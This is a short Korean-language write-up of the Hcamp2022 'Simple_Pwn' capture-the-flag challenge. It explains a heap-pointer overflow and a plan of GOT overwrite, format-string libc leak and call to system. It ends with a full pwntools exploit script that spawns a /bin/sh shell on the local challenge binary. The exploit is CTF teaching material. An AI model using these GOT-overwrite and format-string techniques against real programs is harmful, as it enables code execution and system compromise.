본문 바로가기

카테고리 없음

Hcamp2022 Simple_Pwn Write up

코드를 먼저 보게되면 메뉴선택을 하고 1번을 선택할 경우 동적할당을해주고 buf에 name을 입력받는다

그 다음 v5변수에 내용을 입력받는다.

근데 코드를 다시보게되면 name입력받는 부분에서 오버플로우가 발생한다.

하지만 오버플로우가 크게 되지 않으므로 ret를 덮는 시나리오는 되지 않는다. 

동적할당된 포인터를 덮는것은 가능하니 포인터를 덮어 원하는곳에 메모리 쓰기가 가능하다.

이런 과정들을 정리해서 시나리오를 짜게되면

 

1. 마지막 부분 puts에 인자값에 그대로 buf를 넣어주고있으므로 puts got를 printf plt 로 바꿈으로써 포멧스트링을 유도한다.

2. 포맷스트링으로 libc 를 leak 을 한 후 system 함수에 주소를 구한다.

3. 다시 puts got를 system 함수로 바꾸어 exploit 을 한다.

 

#!/usr/bin/env python

from pwn import *

p = process("./chall")
binf = ELF("./chall")

context.log_level = "DEBUG"

p.sendlineafter("> ", str(1))

payload = "%3$p"
payload += "A"*(32-len(payload))
payload += p64(binf.got['puts'])
p.sendafter(": ", payload)

payload = p64(binf.plt['printf'])
p.sendafter(": ", payload)

libc = int(p.recv(14), 0)
base = libc - 0xf7320 - 0x40
system = base + 0x453a0
success(hex(base))
success(hex(system))

p.sendlineafter("> ", str(1))

payload = "/bin/sh\x00"
payload += "A"*(32-len(payload))
payload += p64(binf.got['puts'])
p.sendafter(":", payload)

payload = p64(system)
p.sendafter(":", payload)

p.interactive()